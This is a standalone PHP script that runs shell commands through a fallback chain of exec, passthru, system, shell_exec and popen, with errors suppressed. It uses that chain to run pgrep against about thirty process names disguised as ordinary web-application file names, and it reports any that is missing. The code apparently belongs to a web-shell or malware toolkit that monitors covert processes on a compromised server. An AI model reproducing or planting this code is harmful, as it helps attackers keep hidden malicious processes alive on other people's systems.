<?php   $files = ['comment_function','admin.class','usergroups.inc','control.tpl','proj_details','mod_syndicate','DirectLex','germani_mimes','listcontent','eventlist','courseLinks','index.blog','object.joint','config_seo','class.priority','ele_check','jpgraph_imgtrans','fastsearch','delete_message','courseGrades','sched_planets','viewtopic','ratecategory','view.topic','contactUs2','adr_battle','tradelog.inc','viewtopic.bak','db_input','trade.notify']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }